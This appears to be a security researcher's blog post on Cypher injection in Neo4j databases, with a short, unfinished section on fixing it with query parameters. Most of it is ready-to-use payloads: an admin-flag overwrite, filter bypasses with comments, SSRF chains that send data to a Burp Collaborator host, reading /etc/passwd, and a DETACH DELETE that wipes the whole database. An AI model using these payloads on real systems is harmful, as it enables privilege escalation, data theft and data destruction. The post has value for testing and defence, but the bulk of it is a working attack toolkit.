Fun with Cypher Injections
7 min read

Fun with Cypher Injections

I recently found a vulnerability type which had been massively under-researched within the public domain. Leaving one, maybe two genuinely interesting research posts.

In an attempt to fill a void I dove into a neo4j, which uses cypher queries. Many security specialists will recognise neo4j from the popular AD hacking tool "blood hound".

Note that this post is a WIP, and the more I find, the more I'll add.

Tips / Tricks

Overwriting values in CREATE clauses

CREATE clauses in neo4j can have values overwritten if we can inject after it's initial definition. What this means is, if the query creates an "account" object with an "admin" key that is defined before our injection point, we can overwrite it to True to make our account an administrator.

The following would create a normal (low-privileged) account:

CREATE (n:Account) SET n.id=1, n.username="admin",n.admin=False,n.password="{INJECTION POINT}" RETURN n

Whereas, using the previous technique, we can overwrite the n.admin value:

CREATE (n:Account) SET n.id=1, n.username="admin",n.admin=False,n.password="",n.admin=True RETURN n//" RETURN n

With the payload being ",n.admin=True RETURN n//

Block comments to replace whitespaces

Similarly to the popular blacklist bypass in certain DBMS', such as MySQL, you can also use block comments as alternatives to whitespaces in cypher queries.

MATCH (n) RETURN n
MATCH/**/(n)/**/RETURN/**/n

Note that if the app is also filtering /**/ specifically, you can also fill in the center with random strings, for example:

MATCH/*asdrg*/(n)/*gdsefds*/RETURN/*assdgs*/n

Inline comments for nulling trailing hardcoded clauses

With some cypher queries, it's beneficial to control everything from the injection point to the end, as certain hardcoded queries may limit what information we can leak. Inline comments can be usedto nullify anything beyond the injection point.

For example, the below cypher injection is restricted by the "LIMIT 0" on the end, stopping any data from being returned by the database.

MATCH (n) WHERE n.is_active = {INJECTION POINT} RETURN n LIMIT 0

Injection: 1 OR 1=1 RETURN n//

MATCH (n) WHERE n.is_active = 1 OR 1=1 RETURN n// RETURN n LIMIT 0

We can insert an always true condition and an inline comment, to remove the LIMIT 0 from the end. The query would then return all nodes within the database.

Commenting out multiple lines when a block comment appears after the injection point

While inline comments are great for nullifying trailing queries that are defined on a single line, they don't work nearly as well for queries that are defined accross multiple lines, for example the below.

MATCH (u:User) WHERE u.fullname =~ '{INJECTION POINT}'
RETURN u LIMIT 5 /*Only return 5 results*/

If a malicious actor was to inject an inline comment in the example above, it would only comment out the second single quote, as the line-break terminates the comment.

Interestingly, if a block comment exists further along the query, you can initiate a block comment without terminating it, and the application will use the terminator from the next block query as the end of the block comment.

Injection payload:' OR 1=1 RETURN u/*

MATCH (u:User) WHERE u.fullname =~ '' OR 1=1 RETURN u/*'
RETURN u LIMIT 5 /*Only return 5 results*/

Which is equivalent to:

MATCH (u:User) WHERE u.fullname =~ '' OR 1=1 RETURN u

Note that this will only go up to the first terminator that the application encounters, for example the below would not work to display results from the database, as the block comment we inject will only go up to the terminator used in the "return u, being the user nodes" comment, leaving the LIMIT 0 untouched.

Injection payload:
' OR 1=1 RETURN u /*

MATCH (u:User) WHERE u.fullname =~ '' OR 1=1 RETURN u/*'
RETURN u /*return u, being the user nodes*/ LIMIT 0 /*Do not display output*/

What's the damage?

It's no secret that the most common clause to find injection vulnerabilities in (whether it be in cypher or SQL), is WHERE clauses', as they are used in applications to select specific information stored in the database.

This vulnerability is essentially SQL Injection on steroids, with a set group of features making it more severe, namely:

  • It's an assured minimum of SSRF, with the ability to read responses too.
  • The ability to delete all entries within the database.
  • The obvious "read data from the database".
  • The potential for reading internal files.

SSRF

Full SSRF is always achievable, and a malicious actor can chain multiple separate LOAD CSV FROM functions to first retrieve the page, and then leak the page's response through another SSRF. For more information refer to the examples below. This can also be used to scan internal ports.

Example payloads:
Basic SSRF for proof:

1" OR 1=1 LOAD CSV FROM 'http://XXX.burpcollaborator.net/proof_of_ssrf' AS y RETURN ''//

SSRF leaking internal resource response:

1" OR 1=1 LOAD CSV FROM 'http://internal.resource/admin' AS x LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+x[0] AS y RETURN ''//

Note from the payloads above that the OR 1=1 is required for the application to run the LOAD CSV FROM clause.

File Read

Depending on the configuration of the Neo4j instance, it may have it's "imports" directory set to somewhere dangerous, such as /var/www/html or even /. In these situations, you can exploit the LOAD CSV functionality for file read within those subdirectories.

For example, if the imports directory is set to /, you can simply do:
LOAD CSV FROM 'file://etc/passwd'

Which once injected into a query would look something similar to the following:

MATCH (n) WHERE n.id="1" OR 1=1 LOAD CSV FROM 'file://etc/passwd' AS x LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+x[0] AS y RETURN ''// RETURN n

With 1" OR 1=1 LOAD CSV FROM 'file://etc/passwd' AS x LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+x[0] AS y RETURN ''// being the injected payload.

Full data deletion in (basically) any query

One of the biggest downfalls of SQL Injections (in most popular DBMS') is the fact that the initial clause entirely defines what the query will do, meaning if it is a simple SELECT statement, it's essentially impossible to modify data via the vulnerable query.

Within Cypher Injections, you can use multiple different actions within a single clause, with this simple trick: WITH x AS y.

This minor feature allows you to greatly escalate the severity of most cypher injections for data deletion. This includes deleting all nodes in the database, easily accessing the previously mentioned SSRF and file read vulnerabilities and more.

Example Injections:

WARNING THESE WILL REMOVE ALL DATABASE ENTRIES, DO NOT COPY AND PASTE IN PRODUCTION

CREATE

  • Original Query: CREATE (n:Person) SET n.name="test" RETURN n
  • Payload: test" WITH 1337 AS y MATCH (n) DETACH DELETE n//
  • Final query:
CREATE (n:Person) SET n.name="test" WITH 1337 AS y MATCH (n) DETACH DELETE n//" RETURN n

MATCH

  • Original Query: MATCH (n) WHERE id=123 RETURN n
  • Payload: 1337 WITH 1337 AS dummy MATCH (n) DETACH DELETE n//
  • Final query:
MATCH (n) WHERE n.id=1337 WITH 1337 AS dummy MATCH (n) DETACH DELETE n// RETURN n

Easiest method for data exfiltration

This vulnerability can be tedious, and take time to properly map out and what values are returned to what each parameter. This is comparable to how UNION SQL Injections need to have the same amount of columns, and the same data type as the original queries to avoid 500 server errors.

When testing what is clearly a WHERE clause cypher injection, it's recommended to use the CALL db.labels() function alongside LOAD CSV FROM, as it's the easiest way I have found so far to exfiltrate data from the databases, and works as valid proof of exploitability.

While playing around with my test application, I found the easiest and best way to exfiltrate data was via the LOAD CSV functionality, instead of tryng to have the returned injection data comply with the application's needs.

  • Original Query: MATCH (n) WHERE n.id=1 RETURN n
  • Payload: 1 OR 1=1 WITH 1337 AS x CALL db.labels() YIELD label AS d LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+d AS y RETURN y//
  • Final query:
MATCH (n) WITH 1337 AS x CALL db.labels() YIELD label AS d LOAD CSV FROM 'http://6z6kk6h009jysbrl8ahw89ji99f03p.burpcollaborator.net/'+d AS y RETURN y

Notice the output of db.labels() being appended to the requested path. This is perfectly valid proof that the injection can be abused to leak information from within the database.

Research just for fun (Exfiltrate SSRF response via SSRF chain)

While severity has been clearly demonstrated, I wanted to see if I could exfiltrate the SSRF response via another SSRF, similar to how you can exploit XXEs to exfiltrate data OOB.

Essentially the aim is to send one request to an internal service, store the output in a variable, and then send a second request to my own host, appending the data from the variable to the url.

After some time of playing around with the application, I found the following to work almost flawlessly:

" or True LOAD CSV FROM 'https://internal.service/' AS x LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+x[0] AS y RETURN ''//

Where the first URL is the service we want to get the response for, and the second is where we are sending the response to (our own service).

As you can see by the path, it successfully made a request to my blog, and then exfiltrated the pages contents to my own collaborator, leaking the title of the page.

This was purely an example, and only leaks a part of my page, although note that if you wanted to leak the whole content of the page, it is also perfectly doable.

If you want to be more accurate, and ensure you are able to obtain the whole page source, you can use the query below:

" or True LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[0] AS y LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+y AS z RETURN ''//

To select which line of the response you want to exfiltrate, simply iterate over the selector of the collect() function:

" or True LOAD CSV FROM 'https://internal.service/' AS x WITH collect(x[0])[ITERATE WITH INCREMENTAL INTEGER] AS y LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+y AS z RETURN ''//

Finally, you can also use the UNWIND clause to leak the SSRF response more efficiently:

  • Original Query: MATCH (n) WHERE n.id=1 RETURN n
  • Payload: 1 or True LOAD CSV FROM 'http://gusralph.info/' AS x UNWIND x AS d LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+d AS z RETURN ''//
  • Final query:
MATCH (n) WHERE n.id=1 or True LOAD CSV FROM 'http://gusralph.info/' AS x UNWIND x AS d LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+d AS z RETURN ''// RETURN n

How do I fix it?

The same way SQL clients have prepared statements, clients that use cypher queries (neo4j) have parameters to help prevent against this kind of attack. For more on the topic, please refer to: